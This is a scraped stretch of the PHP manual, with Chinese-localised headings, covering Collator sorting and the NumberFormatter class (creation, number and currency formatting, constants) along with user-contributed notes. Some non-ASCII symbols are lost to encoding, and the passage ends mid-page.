Collator::sortWithSortKeys -- collator_sort_with_sort_keys — Sort array using specified collator and sort keys

说明

面向对象风格

public Collator::sortWithSortKeys(array &$array): bool

过程化风格

collator_sort_with_sort_keys(Collator $object, array &$array): bool

Similar to collator_sort() but uses ICU sorting keys produced by ucol_getSortKey() to gain more speed on large arrays.

参数

object

Collator object.

array

Array of strings to sort

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 collator_sort_with_sort_keys() example

<?php
$arr = array( 'K?pfe', 'Kypper', 'Kopfe' );
$coll = collator_create( 'sv' );

collator_sort_with_sort_keys( $coll, $arr );
var_export( $arr );
?>

以上示例会输出：

array (
  0 => 'Kopfe',
  1 => 'Kypper',
  2 => 'K?pfe',
)

参见

  • Collator constants
  • collator_sort() - Sort array using specified collator
  • collator_asort() - Sort array maintaining index association

User Contributed Notes

There are no user contributed notes for this page.


Sort array using specified collator

  • ? Collator::sortWithSortKeys
  • NumberFormatter ?
  • PHP Manual
  • Collator
  • Sort array using specified collator

Collator::sort

collator_sort

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::sort -- collator_sort — Sort array using specified collator

说明

面向对象风格

public Collator::sort(array &$array, int $flags = Collator::SORT_REGULAR): bool

过程化风格

collator_sort(Collator $object, array &$array, int $flags = Collator::SORT_REGULAR): bool

This function sorts an array according to current locale rules.

Equivalent to standard PHP sort() .

参数

object

Collator object.

array

Array of strings to sort.

flags

Optional sorting type, one of the following:

  • Collator::SORT_REGULAR - compare items normally (don't change types)

  • Collator::SORT_NUMERIC - compare items numerically

  • Collator::SORT_STRING - compare items as strings

Default sorting type is Collator::SORT_REGULAR. It is also used if an invalid flags value has been specified.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 collator_sort() example

<?php
$coll = collator_create( 'en_US' );
$arr = array( 'at', 'às', 'as' );

var_export( $arr );
collator_sort( $coll, $arr );
var_export( $arr );
?>

以上示例会输出：

array (
  0 => 'at',
  1 => 'às',
  2 => 'as',
)array (
  0 => 'as',
  1 => 'às',
  2 => 'at',
)

参见

  • Collator constants
  • collator_asort() - Sort array maintaining index association
  • collator_sort_with_sort_keys() - Sort array using specified collator and sort keys

User Contributed Notes

There are no user contributed notes for this page.


The NumberFormatter class

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

简介

Programs store and operate on numbers using a locale-independent binary representation. When displaying or printing a number it is converted to a locale-specific string. For example, the number 12345.67 is "12,345.67" in the US, "12 345,67" in France and "12.345,67" in Germany.

By invoking the methods provided by the NumberFormatter class, you can format numbers, currencies, and percentages according to the specified or default locale. NumberFormatter is locale-sensitive so you need to create a new NumberFormatter for each locale. NumberFormatter methods format primitive-type numbers, such as double and output the number as a locale-specific string.

For currencies you can use currency format type to create a formatter that returns a string with the formatted number and the appropriate currency sign. Of course, the NumberFormatter class is unaware of exchange rates so, the number output is the same regardless of the specified currency. This means that the same number has different monetary values depending on the currency locale. If the number is 9988776.65 the results will be:

  • 9 988 776,65 � in France
  • 9.988.776,65 � in Germany
  • $9,988,776.65 in the United States

In order to format percentages, create a locale-specific formatter with percentage format type. With this formatter, a decimal fraction such as 0.75 is displayed as 75%.

For more complex formatting, like spelled-out numbers, the rule-based number formatters are used.

类摘要

class NumberFormatter {
/* 常量 */
public const int PATTERN_DECIMAL;
public const int DECIMAL;
public const int CURRENCY;
public const int PERCENT;
public const int SCIENTIFIC;
public const int SPELLOUT;
public const int ORDINAL;
public const int DURATION;
public const int PATTERN_RULEBASED;
public const int IGNORE;
public const int CURRENCY_ACCOUNTING;
public const int DEFAULT_STYLE;
public const int ROUND_CEILING;
public const int ROUND_FLOOR;
public const int ROUND_DOWN;
public const int ROUND_UP;
public const int ROUND_HALFEVEN;
public const int ROUND_HALFDOWN;
public const int ROUND_HALFUP;
public const int PAD_BEFORE_PREFIX;
public const int PAD_AFTER_PREFIX;
public const int PAD_BEFORE_SUFFIX;
public const int PAD_AFTER_SUFFIX;
public const int PARSE_INT_ONLY;
public const int GROUPING_USED;
public const int DECIMAL_ALWAYS_SHOWN;
public const int MAX_INTEGER_DIGITS;
public const int MIN_INTEGER_DIGITS;
public const int INTEGER_DIGITS;
public const int MAX_FRACTION_DIGITS;
public const int MIN_FRACTION_DIGITS;
public const int FRACTION_DIGITS;
public const int MULTIPLIER;
public const int GROUPING_SIZE;
public const int ROUNDING_MODE;
public const int ROUNDING_INCREMENT;
public const int FORMAT_WIDTH;
public const int PADDING_POSITION;
public const int SECONDARY_GROUPING_SIZE;
public const int SIGNIFICANT_DIGITS_USED;
public const int MIN_SIGNIFICANT_DIGITS;
public const int MAX_SIGNIFICANT_DIGITS;
public const int LENIENT_PARSE;
public const int POSITIVE_PREFIX;
public const int POSITIVE_SUFFIX;
public const int NEGATIVE_PREFIX;
public const int NEGATIVE_SUFFIX;
public const int PADDING_CHARACTER;
public const int CURRENCY_CODE;
public const int DEFAULT_RULESET;
public const int PUBLIC_RULESETS;
public const int DECIMAL_SEPARATOR_SYMBOL;
public const int GROUPING_SEPARATOR_SYMBOL;
public const int PATTERN_SEPARATOR_SYMBOL;
public const int PERCENT_SYMBOL;
public const int ZERO_DIGIT_SYMBOL;
public const int DIGIT_SYMBOL;
public const int MINUS_SIGN_SYMBOL;
public const int PLUS_SIGN_SYMBOL;
public const int CURRENCY_SYMBOL;
public const int INTL_CURRENCY_SYMBOL;
public const int MONETARY_SEPARATOR_SYMBOL;
public const int EXPONENTIAL_SYMBOL;
public const int PERMILL_SYMBOL;
public const int PAD_ESCAPE_SYMBOL;
public const int INFINITY_SYMBOL;
public const int NAN_SYMBOL;
public const int SIGNIFICANT_DIGIT_SYMBOL;
public const int MONETARY_GROUPING_SEPARATOR_SYMBOL;
public const int TYPE_DEFAULT;
public const int TYPE_INT32;
public const int TYPE_INT64;
public const int TYPE_DOUBLE;
public const int TYPE_CURRENCY;
/* 方法 */
public __construct(string $locale, int $style, ?string $pattern = null)
public static create(string $locale, int $style, ?string $pattern = null): ?NumberFormatter
public formatCurrency(float $amount, string $currency): string|false
public format(int|float $num, int $type = NumberFormatter::TYPE_DEFAULT): string|false
public getAttribute(int $attribute): int|float|false
public getErrorCode(): int
public getErrorMessage(): string
public getLocale(int $type = ULOC_ACTUAL_LOCALE): string|false
public getPattern(): string|false
public getSymbol(int $symbol): string|false
public getTextAttribute(int $attribute): string|false
public parseCurrency(string $string, string &$currency, int &$offset = null): float|false
public parse(string $string, int $type = NumberFormatter::TYPE_DOUBLE, int &$offset = null): int|float|false
public setAttribute(int $attribute, int|float $value): bool
public setPattern(string $pattern): bool
public setSymbol(int $symbol, string $value): bool
public setTextAttribute(int $attribute, string $value): bool
}

预定义常量

These styles are used by the numfmt_create() to define the type of the formatter.

NumberFormatter::PATTERN_DECIMAL
Decimal format defined by pattern
NumberFormatter::DECIMAL
Decimal format
NumberFormatter::CURRENCY
Currency format
NumberFormatter::PERCENT
Percent format
NumberFormatter::SCIENTIFIC
Scientific format
NumberFormatter::SPELLOUT
Spellout rule-based format
NumberFormatter::ORDINAL
Ordinal rule-based format
NumberFormatter::DURATION
Duration rule-based format
NumberFormatter::PATTERN_RULEBASED
Rule-based format defined by pattern
NumberFormatter::CURRENCY_ACCOUNTING
Currency format for accounting, e.g., ($3.00) for negative currency amount instead of -$3.00. Available as of PHP 7.4.1 and ICU 53.
NumberFormatter::DEFAULT_STYLE
Default format for the locale
NumberFormatter::IGNORE
Alias for PATTERN_DECIMAL

These constants define how the numbers are parsed or formatted. They should be used as arguments to numfmt_format() and numfmt_parse().

NumberFormatter::TYPE_DEFAULT
Derive the type from variable type
NumberFormatter::TYPE_INT32
Format/parse as 32-bit integer
NumberFormatter::TYPE_INT64
Format/parse as 64-bit integer
NumberFormatter::TYPE_DOUBLE
Format/parse as floating point value
NumberFormatter::TYPE_CURRENCY
Format/parse as currency value. Deprecated as of PHP 8.3.0

Number format attribute used by numfmt_get_attribute() and numfmt_set_attribute().

NumberFormatter::PARSE_INT_ONLY
Parse integers only.
NumberFormatter::GROUPING_USED
Use grouping separator.
NumberFormatter::DECIMAL_ALWAYS_SHOWN
Always show decimal point.
NumberFormatter::MAX_INTEGER_DIGITS
Maximum integer digits.
NumberFormatter::MIN_INTEGER_DIGITS
Minimum integer digits.
NumberFormatter::INTEGER_DIGITS
Integer digits.
NumberFormatter::MAX_FRACTION_DIGITS
Maximum fraction digits.
NumberFormatter::MIN_FRACTION_DIGITS
Minimum fraction digits.
NumberFormatter::FRACTION_DIGITS
Fraction digits.
NumberFormatter::MULTIPLIER
Multiplier.
NumberFormatter::GROUPING_SIZE
Grouping size.
NumberFormatter::ROUNDING_MODE
Rounding Mode.
NumberFormatter::ROUNDING_INCREMENT
Rounding increment.
NumberFormatter::FORMAT_WIDTH
The width to which the output of format() is padded.
NumberFormatter::PADDING_POSITION
The position at which padding will take place. See pad position constants for possible argument values.
NumberFormatter::SECONDARY_GROUPING_SIZE
Secondary grouping size.
NumberFormatter::SIGNIFICANT_DIGITS_USED
Use significant digits.
NumberFormatter::MIN_SIGNIFICANT_DIGITS
Minimum significant digits.
NumberFormatter::MAX_SIGNIFICANT_DIGITS
Maximum significant digits.
NumberFormatter::LENIENT_PARSE
Lenient parse mode used by rule-based formats.

Number format text attribute used by numfmt_get_text_attribute() and numfmt_set_text_attribute().

NumberFormatter::POSITIVE_PREFIX
Positive prefix.
NumberFormatter::POSITIVE_SUFFIX
Positive suffix.
NumberFormatter::NEGATIVE_PREFIX
Negative prefix.
NumberFormatter::NEGATIVE_SUFFIX
Negative suffix.
NumberFormatter::PADDING_CHARACTER
The character used to pad to the format width.
NumberFormatter::CURRENCY_CODE
The ISO currency code.
NumberFormatter::DEFAULT_RULESET
The default rule set. This is only available with rule-based formatters.
NumberFormatter::PUBLIC_RULESETS
The public rule sets. This is only available with rule-based formatters. This is a read-only attribute. The public rulesets are returned as a single string, with each ruleset name delimited by ';' (semicolon).

Number format symbols used by numfmt_get_symbol() and numfmt_set_symbol().

NumberFormatter::DECIMAL_SEPARATOR_SYMBOL
The decimal separator.
NumberFormatter::GROUPING_SEPARATOR_SYMBOL
The grouping separator.
NumberFormatter::PATTERN_SEPARATOR_SYMBOL
The pattern separator.
NumberFormatter::PERCENT_SYMBOL
The percent sign.
NumberFormatter::ZERO_DIGIT_SYMBOL
Zero.
NumberFormatter::DIGIT_SYMBOL
Character representing a digit in the pattern.
NumberFormatter::MINUS_SIGN_SYMBOL
The minus sign.
NumberFormatter::PLUS_SIGN_SYMBOL
The plus sign.
NumberFormatter::CURRENCY_SYMBOL
The currency symbol.
NumberFormatter::INTL_CURRENCY_SYMBOL
The international currency symbol.
NumberFormatter::MONETARY_SEPARATOR_SYMBOL
The monetary separator.
NumberFormatter::EXPONENTIAL_SYMBOL
The exponential symbol.
NumberFormatter::PERMILL_SYMBOL
Per mill symbol.
NumberFormatter::PAD_ESCAPE_SYMBOL
Escape padding character.
NumberFormatter::INFINITY_SYMBOL
Infinity symbol.
NumberFormatter::NAN_SYMBOL
Not-a-number symbol.
NumberFormatter::SIGNIFICANT_DIGIT_SYMBOL
Significant digit symbol.
NumberFormatter::MONETARY_GROUPING_SEPARATOR_SYMBOL
The monetary grouping separator.

Rounding mode values used by numfmt_get_attribute()
and numfmt_set_attribute() with
NumberFormatter::ROUNDING_MODE attribute.

NumberFormatter::ROUND_CEILING
Rounding mode to round towards positive infinity.
NumberFormatter::ROUND_DOWN
Rounding mode to round towards zero.
NumberFormatter::ROUND_FLOOR
Rounding mode to round towards negative infinity.
NumberFormatter::ROUND_HALFDOWN
Rounding mode to round towards "nearest neighbor" unless both neighbors are equidistant, in which case round down.
NumberFormatter::ROUND_HALFEVEN
Rounding mode to round towards the "nearest neighbor" unless both neighbors are equidistant, in which case, round towards the even neighbor.
NumberFormatter::ROUND_HALFUP
Rounding mode to round towards "nearest neighbor" unless both neighbors are equidistant, in which case round up.
NumberFormatter::ROUND_UP
Rounding mode to round away from zero.

Pad position values used by numfmt_get_attribute()
and numfmt_set_attribute() with
NumberFormatter::PADDING_POSITION attribute.

NumberFormatter::PAD_AFTER_PREFIX
Pad characters inserted after the prefix.
NumberFormatter::PAD_AFTER_SUFFIX
Pad characters inserted after the suffix.
NumberFormatter::PAD_BEFORE_PREFIX
Pad characters inserted before the prefix.
NumberFormatter::PAD_BEFORE_SUFFIX
Pad characters inserted before the suffix.

参见

  • » ICU formatting documentation
  • » ICU number formatters
  • » ICU decimal formatters
  • » ICU rule-based number formatters

Table of Contents

  • NumberFormatter::create — Create a number formatter
  • NumberFormatter::formatCurrency — Format a currency value
  • NumberFormatter::format — Format a number
  • NumberFormatter::getAttribute — Get an attribute
  • NumberFormatter::getErrorCode — Get formatter's last error code
  • NumberFormatter::getErrorMessage — Get formatter's last error message
  • NumberFormatter::getLocale — Get formatter locale
  • NumberFormatter::getPattern — Get formatter pattern
  • NumberFormatter::getSymbol — Get a symbol value
  • NumberFormatter::getTextAttribute — Get a text attribute
  • NumberFormatter::parseCurrency — Parse a currency number
  • NumberFormatter::parse — Parse a number
  • NumberFormatter::setAttribute — Set an attribute
  • NumberFormatter::setPattern — Set formatter pattern
  • NumberFormatter::setSymbol — Set a symbol value
  • NumberFormatter::setTextAttribute — Set a text attribute

User Contributed Notes

jimbo2150 at gmail dot com 12-Feb-2023 06:24
The NumberFormatter class can be used to convert integer numbers to Roman numerals without a custom function using an array of symbols and associated values:

<?php

function intToRomanNumeral(int $num) {
    static $nf = new NumberFormatter('@numbers=roman', NumberFormatter::DECIMAL);
    return $nf->format($num);
}

echo intToRomanNumeral(2); // II

echo intToRomanNumeral(5); // V

echo intToRomanNumeral(10); // X

echo intToRomanNumeral(50); // L

echo intToRomanNumeral(57); // LVII
echo intToRomanNumeral(58); // LVIII

echo intToRomanNumeral(100); // C

echo intToRomanNumeral(150); // CL

echo intToRomanNumeral(1000); // M

echo intToRomanNumeral(10000); // ?

?>
gwyneth dot llewelyn at gwynethllewelyn dot net 29-Jul-2022 12:49
When using the `NumberFormatter` class for pretty-printing currency in PHP 7.3 and 8+, it's not clear from the documentation that you can use the empty string "" as the locale for the constructor, and that will retrieve the default locale (whatever it has been set to in your environment).

`formatCurrency()`, by contrast, does not accept the empty string for the default currency symbol; it will display a 'generic' currency symbol instead (¤).

Tested with PHP 7.4.30, 8.0.21, 8.1.8 under Ubuntu Linux and 8.1.8 under macOS Big Sur (11.6.8). I tried under other alternatives (e.g. Linux running on ARM chips, PHP 7.3.3) but sadly the `NumberFormatter` library does not seem to be present (or could not be found) on those systems...
AF 17-Dec-2020 06:25
Please pay attention to the Arabic decimal separator (https://en.wikipedia.org/wiki/Decimal_separator#Other_numeral_systems).

All the following conditions are true:
<?php
(new \NumberFormatter("ar_AE", \NumberFormatter::DEFAULT_STYLE))->getSymbol(\NumberFormatter::DECIMAL_SEPARATOR_SYMBOL) === '?';
(new \NumberFormatter("ar_AE", \NumberFormatter::DEFAULT_STYLE))->getSymbol(\NumberFormatter::DECIMAL_SEPARATOR_SYMBOL) == '?';

(new \NumberFormatter("ar_AE", \NumberFormatter::DEFAULT_STYLE))->getSymbol(\NumberFormatter::DECIMAL_SEPARATOR_SYMBOL) !== ',';
(new \NumberFormatter("ar_AE", \NumberFormatter::DEFAULT_STYLE))->getSymbol(\NumberFormatter::DECIMAL_SEPARATOR_SYMBOL) != ',';
?>
stan at dragnev dot ca 06-Nov-2020 04:13
Here's an example of how to use PATTERN_DECIMAL to print a number with two fraction digits, use () for negative numbers and pad to five characters to the left of the decimal point, using spaces as the padding character:

<?php

$fmt = new NumberFormatter("en-CA", NumberFormatter::PATTERN_DECIMAL, "* #####.00 ;(* #####.00)");
echo $fmt->format(-45.1);

// Outputs: "  (45.10)"

?>

Note that the ; in the pattern denotes the beginning of a subpattern, which is used for negative numbers. Hence the brackets around the pattern after the semicolon.
Joey 20-Mar-2017 10:27
Be warned that this class sometimes lacks sufficient error output. I recently instantiated it while invalid pattern to the constructor.

    php -r '$nf = new \NumberFormatter("tlh-KX.UTF8", \NumberFormatter::IGNORE, "{,,#;#}");var_dump($nf->format(5));'

    Fatal error: Call to a member function format() on null in Command line code on line 1

Rather than emitting an error message or throwing an exception null is returned after calling new.

I'm not sure if it's fixed in PHP 7 but it's something to watch out for. Make sure you check your parameters very closely.
Adam 17-Feb-2017 12:21
Good to know Numberformatter::SPELLOUT using soft hypens.

So, if you want to avoid it use preg_replace:

<?php
$azaz = new NumberFormatter("hu-HU", NumberFormatter::SPELLOUT);
$text = preg_replace('~\x{00AD}~u', '', $azaz->format(123456));
print $text;
?>
Output without preg_replace:
egy--száz--huszon--három--ezer négy--száz--?tven--hat

Output with preg_replace:
egyszázhuszonháromezer négyszáz?tvenhat
giorgio dot liscio at email dot it 21-Mar-2011 10:59
this class seems to be painful: it is not, formatting and parsing are highly customizable, but what you probably need is really simple:

if you want to localize a number use:

<?php
$a = new \NumberFormatter("it-IT", \NumberFormatter::DECIMAL);
echo $a->format(12345.12345) . "<br>"; // outputs 12.345,12
$a->setAttribute(\NumberFormatter::MIN_FRACTION_DIGITS, 0);
$a->setAttribute(\NumberFormatter::MAX_FRACTION_DIGITS, 100); // by default some locales got max 2 fraction digits, that is probably not what you want
echo $a->format(12345.12345) . "<br>"; // outputs 12.345,12345
?>

if you want to print money use:

<?php
$a = new \NumberFormatter("it-IT", \NumberFormatter::CURRENCY);
echo $a->format(12345.12345) . "<br>"; // outputs �12.345,12
?>

if you have money data stored as (for example) US dollars and you want to print them using the it-IT notation, you need to use

<?php
$a = new \NumberFormatter("it-IT", \NumberFormatter::CURRENCY);
echo $a->formatCurrency(12345, "USD") . "<br>"; // outputs $ 12.345,00 and it is formatted using the italian notation (comma as decimal separator)
?>

another useful example about currency (how to obtain the currency name by a locale string):

<?php
$frontEndFormatter = new \NumberFormatter("it-IT", \NumberFormatter::CURRENCY);
$adminFormatter = new \NumberFormatter("en-US", \NumberFormatter::CURRENCY);
$symbol = $adminFormatter->getSymbol(\NumberFormatter::INTL_CURRENCY_SYMBOL); // got USD
echo $frontEndFormatter->formatCurrency(12345.12345,  $symbol) . "<br>";
?>
sudheer at binaryvibes dot co dot in 12-Jan-2011 12:41
Sample script to print number in English.

<?php
$f = new NumberFormatter("en", NumberFormatter::SPELLOUT);
echo $f->format(123456);

?>

Produces the result:
one hundred twenty-three thousand four hundred fifty-six


Create a number formatter

  • ? NumberFormatter
  • NumberFormatter::formatCurrency ?
  • PHP Manual
  • NumberFormatter
  • Create a number formatter

NumberFormatter::create

numfmt_create

NumberFormatter::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::create -- numfmt_create -- NumberFormatter::__construct — Create a number formatter

说明

面向对象风格 (method)

public static NumberFormatter::create(string $locale, int $style, ?string $pattern = null): ?NumberFormatter

过程化风格

numfmt_create(string $locale, int $style, ?string $pattern = null): ?NumberFormatter

面向对象风格 (constructor):

public NumberFormatter::__construct(string $locale, int $style, ?string $pattern = null)

Creates a number formatter.

参数

locale

Locale in which the number would be formatted (locale name, e.g. en_CA).

style

Style of the formatting, one of the format style constants. If NumberFormatter::PATTERN_DECIMAL or NumberFormatter::PATTERN_RULEBASED is passed then the number format is opened using the given pattern, which must conform to the syntax described in » ICU DecimalFormat documentation or » ICU RuleBasedNumberFormat documentation, respectively.

pattern

Pattern string if the chosen style requires a pattern.

返回值

Returns NumberFormatter object or null on error.

更新日志

版本 | 说明
8.0.0 | pattern is nullable now.

示例

Example #1 numfmt_create() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
$fmt = numfmt_create( 'it', NumberFormatter::SPELLOUT );
echo numfmt_format($fmt, 1142)."\n";
?>

Example #2 NumberFormatter::create() example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo $fmt->format(1234567.891234567890000)."\n";
$fmt = new NumberFormatter( 'it', NumberFormatter::SPELLOUT );
echo $fmt->format(1142)."\n";
?>

以上示例会输出：

1.234.567,891
millicentoquarantadue

参见

  • numfmt_format() - Format a number
  • numfmt_parse() - Parse a number

User Contributed Notes

igorsantos07 12-Sep-2018 12:46
Although there are ORDINAL and SPELLOUT formatters, it's not possible to join these together to turn "2" into "second". You'll either get "2nd", or "two", or something unexpected if you try to use bitwise operators.
daniel dot rhodes at warpasylum dot co dot uk 19-Aug-2011 08:43
It should be noted that the locale string passed into NumberFormatter's constructor doesn't play with UCA keywords quite as readily as, say, the Collator and IntlDateFormatter classes' constructors.

According to the Unicode spec (http://www.unicode.org/reports/tr35), I should be able to specify a locale of "ja_JP@numbers=jpanfin" which, for spellout mode, should give me Japanese financial (ie. anti-forgery) numerals. When passed into NumberFormatter's constructor, "ja_JP@numbers=jpanfin" doesn't work.

However, when I look at a dump of NumberFormatter::getPattern() for the ja_JP locale, I see that the financial numerals *are* in there (as %financial). Here's how we wrangle them out of the NumberFormatter:

<?php
$number = 1234567890;

$formatter = new NumberFormatter('ja_JP', NumberFormatter::SPELLOUT);

$formatter->setTextAttribute(NumberFormatter::DEFAULT_RULESET, "%financial");

echo $formatter->format($number);
//above gives [拾弐億参千四百伍拾六萬七千八百九拾] (as opposed to [十二億三千四百五十六万七千八百九十]) - bingo!
?>
F. Poirotte 15-Nov-2009 08:26
When formatting durations using the NumberFormatter::DURATION type, you may also need to use NumberFormatter::setTextAttribute to get the desired output.

<?php

$fmt = new NumberFormatter('en', NumberFormatter::DURATION);
// Outputs: string(7) "3:25:45"
var_dump($fmt->format(12345));

// "%in-numerals" is the default ruleset, so this results in the same as above.
$fmt->setTextAttribute(NumberFormatter::DEFAULT_RULESET, "%in-numerals");
// Outputs: string(7) "3:25:45"
var_dump($fmt->format(12345));

$fmt->setTextAttribute(NumberFormatter::DEFAULT_RULESET, "%with-words");
// Outputs: string(31) "3 hours, 25 minutes, 45 seconds"
var_dump($fmt->format(12345));

$fmt2 = new NumberFormatter('fr', NumberFormatter::DURATION);
// Outputs: string(7) "12 345"
// See notes below.
var_dump($fmt2->format(12345));

?>

This is a little counter-intuitive because there is not much doc available about the DURATION type.

Also, as far as I can tell, only the English (en) locale has support for the "%in-numerals" & "%with-words" rulesets. Other locales seem to simply format the input as if the DECIMAL type had been used (at least using "fr" or "de" as the target locale).

One way to provide that feature across different locales is to extract the ruleset implicitely used by NumberFormatter::DURATION and adapt it for the locales you're targetting. Use NumberFormatter::getPattern to extract the ruleset.


Format a currency value

  • ? NumberFormatter::create
  • NumberFormatter::format ?
  • PHP Manual
  • NumberFormatter
  • Format a currency value

NumberFormatter::formatCurrency

numfmt_format_currency

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::formatCurrency -- numfmt_format_currency — Format a currency value

说明

面向对象风格

public NumberFormatter::formatCurrency(float $amount, string $currency): string|false

过程化风格

numfmt_format_currency(NumberFormatter $formatter, float $amount, string $currency): string|false

Format the currency value according to the formatter rules.

参数

formatter

NumberFormatter object.

amount

The numeric currency value.

currency

The 3-letter ISO 4217 currency code indicating the currency to use.

返回值

String representing the formatted currency value, 或者在失败时返回 false.

示例

Example #1 numfmt_format_currency() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::CURRENCY );
echo numfmt_format_currency($fmt, 1234567.891234567890000, "EUR")."\n";
echo numfmt_format_currency($fmt, 1234567.891234567890000, "RUR")."\n";
$fmt = numfmt_create( 'ru_RU', NumberFormatter::CURRENCY );
echo numfmt_format_currency($fmt, 1234567.891234567890000, "EUR")."\n";
echo numfmt_format_currency($fmt, 1234567.891234567890000, "RUR")."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::CURRENCY );
echo $fmt->formatCurrency(1234567.891234567890000, "EUR")."\n";
echo $fmt->formatCurrency(1234567.891234567890000, "RUR")."\n";
$fmt = new NumberFormatter( 'ru_RU', NumberFormatter::CURRENCY );
echo $fmt->formatCurrency(1234567.891234567890000, "EUR")."\n";
echo $fmt->formatCurrency(1234567.891234567890000, "RUR")."\n";
?>

以上示例会输出：

1.234.567,89 �
1.234.567,89 RUR
1 234 567,89�
1 234 567,89р.

注释

Note:

Formats achievable by this method of formatting cannot fully use the possibilities of underlying ICU library, such as to format currency with narrow currency symbol.

To fully utilize them use msgfmt_format_message().

参见

  • numfmt_get_error_code() - Get formatter's last error code
  • numfmt_format() - Format a number
  • numfmt_parse_currency() - Parse a currency number
  • msgfmt_format_message() - Quick format message

User Contributed Notes

Patanjali 26-Dec-2019 12:56
This function is typically over a 1000 times slower on the first run in a php session compared to subsequent runs, and that is using a newly created formatter each time.

Timings for the first run have been from 60ms to 195ms, whereas subsequent runs are well under 100us.

For comparison, creating the formatter takes about 100us.
Anonymous 03-Sep-2017 08:25
formatCurrency() does not follow international standard for currency decimal, published here : https://www.currency-iso.org/en/home/tables/table-a1.html.

To define decimal I found that we need to use format() function after setting some NumberFormat attributes.

For example "COP" (Colombian peso) if defined to use 2 decimals, but NumberFormat::formatCurrency() use 0 decimal for this currency (I do not know why!).

Here is the code I use :

$fmt = new \NumberFormatter( 'fr', \NumberFormatter::CURRENCY);
$fmt->setTextAttribute( $fmt::CURRENCY_CODE, 'COP' );
$fmt->setAttribute( $fmt::FRACTION_DIGITS, 2 );
$numberString = $fmt->format( 1234.56 );

The output is: 1 234,56 $CO

If locale change to 'en' then the output is : COP1,234.56
andrewfenn at gmail dot com 09-Apr-2017 09:30
Currency symbols seem to have spurious support.

Take for example the Thai Baht symbol.. ? which doesn't seem supported in the Thai locale, but is in other locales such as Chinese Simplified..

<?php
$fmt = new NumberFormatter('th_TH', NumberFormatter::CURRENCY);
echo $fmt->formatCurrency(100, 'THB');
// Outputs: THB 100

$fmt = new NumberFormatter('zh_Hans', NumberFormatter::CURRENCY);
echo $fmt->formatCurrency(100, 'THB');
// Outputs: ? 100
?>
Benoit Borrel 12-Nov-2015 07:01
When setting the pattern, don't forget that space character between currency symbol and number (either as prefix or suffix) should not be breakable (like &nbsp; for HTML). For example, in UTF-8 you should use the no-break-space character ("\xC2\xA0"):
<?php
$fmt = new NumberFormatter('en_US', NumberFormatter::CURRENCY);
$fmt->setPattern(str_replace('¤#',"¤\xC2\xA0#", $fmt->getPattern()));
?>
idragosalex 04-May-2015 11:58
It seams that for currency symbols that contain the dollar sign '$' the resulting formatted number is broken: 95.23 is formatted .23 instead of $95.23. As a workaround, you need to modify the pattern by adding a space:

<?php
$fmt = new NumberFormatter('en_US', NumberFormatter::CURRENCY);
$fmt->setTextAttribute(NumberFormatter::CURRENCY_CODE, 'CAD');
$fmt->setPattern( str_replace('¤#','¤ #', $fmt->getPattern() ) );
echo $fmt->formatCurrency(100, 'CAD');
?>
mail at cebe dot cc 30-Mar-2015 04:18
The note about different formatting[1] actually does not depend on the PHP version but on the version of the icu library[2] that PHP is compiled against because this library has a database with formatting rules for the different locales.

[1]: http://php.net/manual/en/numberformatter.formatcurrency.php#116610
[2]: http://site.icu-project.org/
Tyler Crompton 29-Jan-2015 08:05
This had me scratching my head. When working with certain English locales (e.g. "en_US" and "en_CA" among others but certainly not all), it is important to note that negative numbers are formatted differently between PHP 5.5 and PHP 5.6.

Code:

<?php

$formatter = new NumberFormatter('en_US', NumberFormatter::CURRENCY);
echo $formatter->formatCurrency(-0.99, 'USD'), PHP_EOL;

$formatter = new NumberFormatter('en_CA', NumberFormatter::CURRENCY);
echo $formatter->formatCurrency(-0.99, 'USD'), PHP_EOL;

?>

Output from PHP 5.5:

-$0.99
-US$0.99

Output from PHP 5.6:

($0.99)
(US$0.99)
martin t holzhauer dohd eu 13-Feb-2014 02:37
When you want to format currency's without sub units and the currency is not the one used by the given locale you need to set the currency code before as TextAttribute _BEFORE_ setting the NumberFormatter::FRACTION_DIGITS

<?php
$fmt = new NumberFormatter('en_US', NumberFormatter::CURRENCY);
$fmt->setTextAttribute(NumberFormatter::CURRENCY_CODE, 'EUR');
$fmt->setAttribute(NumberFormatter::FRACTION_DIGITS, 0);
$fmt->formatCurrency(100, 'EUR');
?>
Ruben 25-Oct-2012 05:40
While this function accepts floats for currency (in order to display cents), you should (for applications where this is critical) never store or handle money using floats, as rounding errors may occur. Work with integers (or a BigInt class if integers aren't large enough) internally instead, where the integer represents the total number of cents. An alternative (especially if you need more precision than cents) is using the BC (Binary Calculator) Math module, that handles arbitrary precision numbers with 100% accuracy.


Format a number

  • ? NumberFormatter::formatCurrency
  • NumberFormatter::getAttribute ?
  • PHP Manual
  • NumberFormatter
  • Format a number

NumberFormatter::format

numfmt_format

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

NumberFormatter::format -- numfmt_format — Format a number

说明

面向对象风格

public NumberFormatter::format(int|float $num, int $type = NumberFormatter::TYPE_DEFAULT): string|false

过程化风格

numfmt_format(NumberFormatter $formatter, int|float $num, int $type = NumberFormatter::TYPE_DEFAULT): string|false

Format a numeric value according to the formatter rules.

参数

formatter

NumberFormatter object.

num

The value to format. Can be int or float, other values will be converted to a numeric value.

type

The formatting type to use. Note that NumberFormatter::TYPE_CURRENCY is not supported; use NumberFormatter::formatCurrency() instead.

返回值

Returns the string containing formatted value, or false on error.

示例

Example #1 numfmt_format() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
$data = numfmt_format($fmt, 1234567.891234567890000);
if(intl_is_failure(numfmt_format($fmt))) {
report_error("Formatter error");
}
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
$fmt->format(1234567.891234567890000);
if(intl_is_failure($fmt->getErrorCode())) {
report_error("Formatter error");
}
?>

以上示例会输出：
